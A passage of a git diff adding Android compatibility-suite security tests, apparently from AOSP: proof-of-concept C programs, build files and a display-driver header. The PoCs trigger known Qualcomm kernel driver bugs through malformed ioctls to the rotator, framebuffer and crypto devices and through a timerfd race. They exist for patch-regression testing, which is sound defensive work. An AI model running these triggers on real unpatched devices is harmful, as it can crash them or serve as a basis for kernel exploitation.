+          * driver to allocate any that is available
+          */
+        uint32_t        wb_idx;
+
+        /* Which session ID is this request scheduled on */
+        uint32_t        session_id;
+
+        /* 32bits reserved value for future usage */
+        uint32_t        reserved[6];
+};
+
+struct mdp_rotation_request {
+        /* 32bit version indicates the request structure */
+        uint32_t        version;
+
+        uint32_t        flags;
+
+        /* Number of rotation request items in the list */
+        uint32_t        count;
+
+        /* Pointer to a list of rotation request items */
+        struct mdp_rotation_item __user        *list;
+
+        /* 32bits reserved value for future usage*/
+        uint32_t        reserved[6];
+};
+
+#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
+
+/* open a rotation session */
+#define MDSS_ROTATION_OPEN \
+        _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
+
+/* change the rotation session configuration */
+#define MDSS_ROTATION_CONFIG \
+        _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
+
+/* queue the rotation request */
+#define MDSS_ROTATION_REQUEST \
+        _IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 3, struct mdp_rotation_request *)
+
+/* close a rotation session with the specified rotation session ID */
+#define MDSS_ROTATION_CLOSE        _IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
+
+
+
+
+#define MDP_IMGTYPE_END 0x100
+#define MDP_IMGTYPE2_START 0x10000
+
+enum {
+        MDP_RGB_565,      /* RGB 565 planer */
+        MDP_XRGB_8888,    /* RGB 888 padded */
+        MDP_Y_CBCR_H2V2,  /* Y and CbCr, pseudo planer w/ Cb is in MSB */
+        MDP_Y_CBCR_H2V2_ADRENO,
+        MDP_ARGB_8888,    /* ARGB 888 */
+        MDP_RGB_888,      /* RGB 888 planer */
+        MDP_Y_CRCB_H2V2,  /* Y and CrCb, pseudo planer w/ Cr is in MSB */
+        MDP_YCRYCB_H2V1,  /* YCrYCb interleave */
+        MDP_CBYCRY_H2V1,  /* CbYCrY interleave */
+        MDP_Y_CRCB_H2V1,  /* Y and CrCb, pseduo planer w/ Cr is in MSB */
+        MDP_Y_CBCR_H2V1,   /* Y and CrCb, pseduo planer w/ Cr is in MSB */
+        MDP_Y_CRCB_H1V2,
+        MDP_Y_CBCR_H1V2,
+        MDP_RGBA_8888,    /* ARGB 888 */
+        MDP_BGRA_8888,          /* ABGR 888 */
+        MDP_RGBX_8888,          /* RGBX 888 */
+        MDP_Y_CRCB_H2V2_TILE,  /* Y and CrCb, pseudo planer tile */
+        MDP_Y_CBCR_H2V2_TILE,  /* Y and CbCr, pseudo planer tile */
+        MDP_Y_CR_CB_H2V2,  /* Y, Cr and Cb, planar */
+        MDP_Y_CR_CB_GH2V2,  /* Y, Cr and Cb, planar aligned to Android YV12 */
+        MDP_Y_CB_CR_H2V2,  /* Y, Cb and Cr, planar */
+        MDP_Y_CRCB_H1V1,  /* Y and CrCb, pseduo planer w/ Cr is in MSB */
+        MDP_Y_CBCR_H1V1,  /* Y and CbCr, pseduo planer w/ Cb is in MSB */
+        MDP_YCRCB_H1V1,   /* YCrCb interleave */
+        MDP_YCBCR_H1V1,   /* YCbCr interleave */
+        MDP_BGR_565,      /* BGR 565 planer */
+        MDP_BGR_888,      /* BGR 888 */
+        MDP_Y_CBCR_H2V2_VENUS,
+        MDP_BGRX_8888,   /* BGRX 8888 */
+        MDP_RGBA_8888_TILE,          /* RGBA 8888 in tile format */
+        MDP_ARGB_8888_TILE,          /* ARGB 8888 in tile format */
+        MDP_ABGR_8888_TILE,          /* ABGR 8888 in tile format */
+        MDP_BGRA_8888_TILE,          /* BGRA 8888 in tile format */
+        MDP_RGBX_8888_TILE,          /* RGBX 8888 in tile format */
+        MDP_XRGB_8888_TILE,          /* XRGB 8888 in tile format */
+        MDP_XBGR_8888_TILE,          /* XBGR 8888 in tile format */
+        MDP_BGRX_8888_TILE,          /* BGRX 8888 in tile format */
+        MDP_YCBYCR_H2V1,  /* YCbYCr interleave */
+        MDP_RGB_565_TILE,          /* RGB 565 in tile format */
+        MDP_BGR_565_TILE,          /* BGR 565 in tile format */
+        MDP_ARGB_1555,        /*ARGB 1555*/
+        MDP_RGBA_5551,        /*RGBA 5551*/
+        MDP_ARGB_4444,        /*ARGB 4444*/
+        MDP_RGBA_4444,        /*RGBA 4444*/
+        MDP_RGB_565_UBWC,
+        MDP_RGBA_8888_UBWC,
+        MDP_Y_CBCR_H2V2_UBWC,
+        MDP_RGBX_8888_UBWC,
+        MDP_Y_CRCB_H2V2_VENUS,
+        MDP_IMGTYPE_LIMIT,
+        MDP_RGB_BORDERFILL,        /* border fill pipe */
+        MDP_XRGB_1555,
+        MDP_RGBX_5551,
+        MDP_XRGB_4444,
+        MDP_RGBX_4444,
+        MDP_ABGR_1555,
+        MDP_BGRA_5551,
+        MDP_XBGR_1555,
+        MDP_BGRX_5551,
+        MDP_ABGR_4444,
+        MDP_BGRA_4444,
+        MDP_XBGR_4444,
+        MDP_BGRX_4444,
+        MDP_ABGR_8888,
+        MDP_XBGR_8888,
+        MDP_RGBA_1010102,
+        MDP_ARGB_2101010,
+        MDP_RGBX_1010102,
+        MDP_XRGB_2101010,
+        MDP_BGRA_1010102,
+        MDP_ABGR_2101010,
+        MDP_BGRX_1010102,
+        MDP_XBGR_2101010,
+        MDP_RGBA_1010102_UBWC,
+        MDP_RGBX_1010102_UBWC,
+        MDP_Y_CBCR_H2V2_P010,
+        MDP_Y_CBCR_H2V2_TP10_UBWC,
+        MDP_CRYCBY_H2V1,  /* CrYCbY interleave */
+        MDP_IMGTYPE_LIMIT1 = MDP_IMGTYPE_END,
+        MDP_FB_FORMAT = MDP_IMGTYPE2_START,    /* framebuffer format */
+        MDP_IMGTYPE_LIMIT2 /* Non valid image type after this enum */
+};
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/poc.c b/hostsidetests/security/securityPatch/Bug-35950388/poc.c
new file mode 100644
index 0000000..c084a47
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35950388/poc.c
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#define GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/ion.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "local_poc.h"
+
+int fd;
+int id;
+
+int main(int argc, char **argv) {
+  int ret, i, count;
+  struct mdp_rotation_request req;
+  struct mdp_rotation_item item;
+
+  struct mdp_rotation_config config;
+
+  fd = open("/dev/mdss_rotator", O_RDONLY, 0);
+  if (fd < 0) {
+    return -1;
+  }
+
+  config.input.format = MDP_Y_CBCR_H2V2;
+  config.output.format = MDP_Y_CBCR_H2V2;
+  config.input.height = 4;
+  config.input.width = 4;
+  config.output.height = 4;
+  config.output.width = 4;
+  config.flags = 0;
+  ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
+  if (ret < 0) {
+    goto failed;
+  } else {
+    id = config.session_id;
+  }
+
+  item.wb_idx = 0xFFFFFFFF;
+  item.pipe_idx = item.wb_idx;
+  item.session_id = id;
+
+  item.src_rect.w = config.input.width;
+  item.src_rect.h = config.input.height;
+  item.input.format = config.input.format;
+
+  item.dst_rect.w = config.output.width;
+  item.dst_rect.h = config.output.height;
+  item.output.format = config.output.format;
+
+  item.src_rect.x = 1;
+  item.src_rect.y = 1;
+  item.dst_rect.x = 1;
+  item.dst_rect.y = 1;
+
+  item.input.width = 8;
+  item.input.height = 8;
+  item.output.height = 8;
+  item.output.width = 8;
+
+  item.input.plane_count = 0x0000FFFF;
+  req.count = 1;
+  req.list = &item;
+  req.flags = 0;
+  ret = ioctl(fd, MDSS_ROTATION_REQUEST, &req);
+
+  failed:
+    close(fd);
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
new file mode 100644
index 0000000..11c4e46
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35950805
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h b/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h
new file mode 100644
index 0000000..4988225
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35950805/local_poc.h
@@ -0,0 +1,293 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size)                          \
+  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+#define MSMFB_IOCTL_MAGIC 'm'
+
+struct mdp_pp_feature_version {
+  uint32_t pp_feature;
+  uint32_t version_info;
+};
+#define MSMFB_MDP_PP_GET_FEATURE_VERSION \
+  _IOWR(MSMFB_IOCTL_MAGIC, 171, struct mdp_pp_feature_version)
+
+struct fb_cmap_user {
+  __u32 start; /* First entry	*/
+  __u32 len;   /* Number of entries */
+  __u16 *red;  /* Red values	*/
+  __u16 *green;
+  __u16 *blue;
+  __u16 *transp; /* transparency, can be NULL */
+};
+#define FBIOPUTCMAP 0x4605
+
+/* QSEED3 LUT sizes */
+#define DIR_LUT_IDX 1
+#define DIR_LUT_COEFFS 200
+#define CIR_LUT_IDX 9
+#define CIR_LUT_COEFFS 60
+#define SEP_LUT_IDX 10
+#define SEP_LUT_COEFFS 60
+
+struct mdp_scale_luts_info {
+  uint64_t dir_lut;
+  uint64_t cir_lut;
+  uint64_t sep_lut;
+  uint32_t dir_lut_size;
+  uint32_t cir_lut_size;
+  uint32_t sep_lut_size;
+};
+
+struct mdp_set_cfg {
+  uint64_t flags;
+  uint32_t len;
+  uint64_t payload;
+};
+#define MDP_QSEED3_LUT_CFG 0x1
+
+#define MDP_IOCTL_MAGIC 'S'
+#define MSMFB_MDP_SET_CFG _IOW(MDP_IOCTL_MAGIC, 130, struct mdp_set_cfg)
+
+#define MDP_LAYER_COMMIT_V1_PAD 4
+
+struct mdp_rect {
+  uint32_t x;
+  uint32_t y;
+  uint32_t w;
+  uint32_t h;
+};
+
+enum mdss_mdp_blend_op {
+  BLEND_OP_NOT_DEFINED = 0,
+  BLEND_OP_OPAQUE,
+  BLEND_OP_PREMULTIPLIED,
+  BLEND_OP_COVERAGE,
+  BLEND_OP_MAX,
+};
+
+enum mdp_color_space {
+  MDP_CSC_ITU_R_601,
+  MDP_CSC_ITU_R_601_FR,
+  MDP_CSC_ITU_R_709,
+};
+
+struct mdp_layer_plane {
+  /* DMA buffer file descriptor information. */
+  int fd;
+
+  /* Pixel offset in the dma buffer. */
+  uint32_t offset;
+
+  /* Number of bytes in one scan line including padding bytes. */
+  uint32_t stride;
+};
+
+#define MAX_PLANES 4
+
+struct mult_factor {
+  uint32_t numer;
+  uint32_t denom;
+};
+struct mdp_layer_buffer {
+  uint32_t width;
+  uint32_t height;
+  uint32_t format;
+
+  /* plane to hold the fd, offset, etc for all color components */
+  struct mdp_layer_plane planes[MAX_PLANES];
+
+  /* valid planes count in layer planes list */
+  uint32_t plane_count;
+
+  /* compression ratio factor, value depends on the pixel format */
+  struct mult_factor comp_ratio;
+
+  /*
+   * SyncFence associated with this buffer. It is used in two ways.
+   *
+   * 1. Driver waits to consume the buffer till producer signals in case
+   * of primary and external display.
+   *
+   * 2. Writeback device uses buffer structure for output buffer where
+   * driver is producer. However, client sends the fence with buffer to
+   * indicate that consumer is still using the buffer and it is not ready
+   * for new content.
+   */
+  int fence;
+
+  /* 32bits reserved value for future usage. */
+  uint32_t reserved;
+};
+
+struct mdp_input_layer {
+  uint32_t flags;
+  uint32_t pipe_ndx;
+  uint8_t horz_deci;
+  uint8_t vert_deci;
+  uint8_t alpha;
+  uint16_t z_order;
+  uint32_t transp_mask;
+  uint32_t bg_color;
+
+  /* blend operation defined in "mdss_mdp_blend_op" enum. */
+  enum mdss_mdp_blend_op blend_op;
+
+  /* color space of the source */
+  enum mdp_color_space color_space;
+
+  struct mdp_rect src_rect;
+
+  /*
+   * Destination rectangle, the position and size of image on screen.
+   * This should always be within panel boundaries.
+   */
+  struct mdp_rect dst_rect;
+
+  /* Scaling parameters. */
+  void __user *scale;
+
+  /* Buffer attached with each layer. Device uses it for commit call. */
+  struct mdp_layer_buffer buffer;
+
+  void __user *pp_info;
+  int error_code;
+  uint32_t reserved[6];
+};
+
+struct mdp_output_layer {
+  /*
+   * Flag to enable/disable properties for layer configuration. Refer
+   * layer flag config section for all possible flags.
+   */
+  uint32_t flags;
+
+  /*
+   * Writeback destination selection for output. Client provides the index
+   * in validate and commit call.
+   */
+  uint32_t writeback_ndx;
+
+  /* Buffer attached with output layer. Device uses it for commit call */
+  struct mdp_layer_buffer buffer;
+
+  /* color space of the destination */
+  enum mdp_color_space color_space;
+
+  /* 32bits reserved value for future usage. */
+  uint32_t reserved[5];
+};
+
+struct mdp_layer_commit_v1 {
+  uint32_t flags;
+  int release_fence;
+  struct mdp_rect left_roi;
+  struct mdp_rect right_roi;
+  struct mdp_input_layer __user *input_layers;
+
+  /* Input layer count present in input list */
+  uint32_t input_layer_cnt;
+
+  struct mdp_output_layer __user *output_layer;
+
+  int retire_fence;
+  void __user *dest_scaler;
+  uint32_t dest_scaler_cnt;
+
+  uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
+};
+
+struct mdp_layer_commit {
+  /*
+   * 32bit version indicates the commit structure selection
+   * from union. Lower 16bits indicates the minor version while
+   * higher 16bits indicates the major version. It selects the
+   * commit structure based on major version selection. Minor version
+   * indicates that reserved fields are in use.
+   *
+   * Current supported version is 1.0 (Major:1 Minor:0)
+   */
+  uint32_t version;
+  union {
+    /* Layer commit/validate definition for V1 */
+    struct mdp_layer_commit_v1 commit_v1;
+  };
+};
+
+#define MDP_IOCTL_MAGIC 'S'
+/* atomic commit ioctl used for validate and commit request */
+#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35950805/poc.c b/hostsidetests/security/securityPatch/Bug-35950805/poc.c
new file mode 100644
index 0000000..dd5379b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35950805/poc.c
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <unistd.h>
+#include <string.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+int main(int argc, char **argv) {
+  int ret, i, count;
+  int fd;
+  struct mdp_layer_commit commit;
+  struct mdp_output_layer output_layer;
+
+  fd = open("/dev/graphics/fb2", O_RDWR, 0);
+  if (fd < 0) {
+    return -1;
+  }
+
+  output_layer.buffer.plane_count = 1;
+  output_layer.writeback_ndx = 1;
+  commit.commit_v1.output_layer = &output_layer;
+
+  commit.commit_v1.input_layer_cnt = 0;
+  commit.version = 0x00010000;
+  commit.commit_v1.flags = 0x01;
+
+  ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
+  if (ret < 0) {
+    printf("err:%s\n", strerror(errno));
+  }
+
+  output_layer.buffer.plane_count = 0x00FFFFFF;
+  commit.commit_v1.output_layer = &output_layer;
+
+  commit.commit_v1.input_layer_cnt = 0;
+  commit.version = 0x00010000;
+  commit.commit_v1.flags = 0;
+
+  ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
+  if (ret < 0) {
+    printf("err:%s\n", strerror(errno));
+  }
+
+  close(fd);
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
new file mode 100644
index 0000000..2a1edd0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36266767
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/poc.c b/hostsidetests/security/securityPatch/Bug-36266767/poc.c
new file mode 100644
index 0000000..e534054
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36266767/poc.c
@@ -0,0 +1,72 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/timerfd.h>
+#include <sys/time.h>
+#include <time.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <signal.h>
+
+#define THREAD_NUM    2
+
+pthread_t thread_id[THREAD_NUM+1] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int fd;
+struct itimerspec new_value;
+
+void* child_ioctl_0(void* no_use)
+{
+    int ret = 1;
+
+    while(1){
+        timerfd_settime(fd, 0x3, &new_value, NULL);
+        timerfd_settime(fd, 0x0, &new_value, NULL);
+    }
+}
+
+int main(int argc, char *argv[])
+{
+    int i;
+    new_value.it_value.tv_sec = 0;
+    new_value.it_value.tv_nsec = 0;
+    new_value.it_interval.tv_sec = 0;
+    new_value.it_interval.tv_nsec = 0;
+
+    fd = timerfd_create(CLOCK_REALTIME, 0);
+
+    /* create thread */
+    for(i = 0; i < THREAD_NUM; i = i+1) {
+        thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+    }
+
+    while(1) {
+        fd = timerfd_create(CLOCK_REALTIME, 0);
+        usleep(5);
+        close(fd);
+    }
+}
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
new file mode 100644
index 0000000..ee17cb7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36591162
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/poc.c b/hostsidetests/security/securityPatch/Bug-36591162/poc.c
new file mode 100644
index 0000000..33ee5f6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36591162/poc.c
@@ -0,0 +1,89 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/ioctl.h>
+#include <sys/mount.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <pthread.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+enum qcedev_sha_alg_enum {
+  QCEDEV_ALG_SHA1 = 0,
+  QCEDEV_ALG_SHA256 = 1,
+  QCEDEV_ALG_SHA1_HMAC = 2,
+  QCEDEV_ALG_SHA256_HMAC = 3,
+  QCEDEV_ALG_AES_CMAC = 4,
+  QCEDEV_ALG_SHA_ALG_LAST
+};
+
+struct buf_info {
+  union {
+    uint32_t offset;
+    uint8_t *vaddr;
+  };
+  uint32_t len;
+};
+
+struct qcedev_sha_op_req {
+  struct buf_info data[16];
+  uint32_t entries;
+  uint32_t data_len;
+  uint8_t digest[32];
+  uint32_t diglen;
+  uint8_t *authkey;
+  uint32_t authklen;
+  enum qcedev_sha_alg_enum alg;
+};
+
+#define QCEDEV_IOC_MAGIC 0x87
+
+#define QCEDEV_IOCTL_SHA_INIT_REQ \
+  _IOWR(QCEDEV_IOC_MAGIC, 3, struct qcedev_sha_op_req)
+#define QCEDEV_IOCTL_SHA_UPDATE_REQ \
+  _IOWR(QCEDEV_IOC_MAGIC, 4, struct qcedev_sha_op_req)
+#define QCEDEV_IOCTL_SHA_FINAL_REQ \
+  _IOWR(QCEDEV_IOC_MAGIC, 5, struct qcedev_sha_op_req)
+
+void main() {
+  int f = open("/dev/qce", 0);
+
+  struct qcedev_sha_op_req arg;
+  memset(&arg, 0, sizeof(arg));
+  arg.alg = QCEDEV_ALG_AES_CMAC;
+  arg.entries = 1;
+  arg.authklen = 16;
+  char *key = malloc(arg.authklen);
+  arg.authkey = key;
+  arg.data_len = 256;
+
+  arg.data[0].len = arg.data_len;
+  char *data = malloc(arg.data_len);
+  arg.data[0].vaddr = data;
+  int r = ioctl(f, QCEDEV_IOCTL_SHA_INIT_REQ, &arg);
+
+  arg.diglen = 0x8000;
+  r = ioctl(f, QCEDEV_IOCTL_SHA_UPDATE_REQ, &arg);
+  r = ioctl(f, QCEDEV_IOCTL_SHA_FINAL_REQ, &arg);
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
new file mode 100644
index 0000000..0a5b344
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
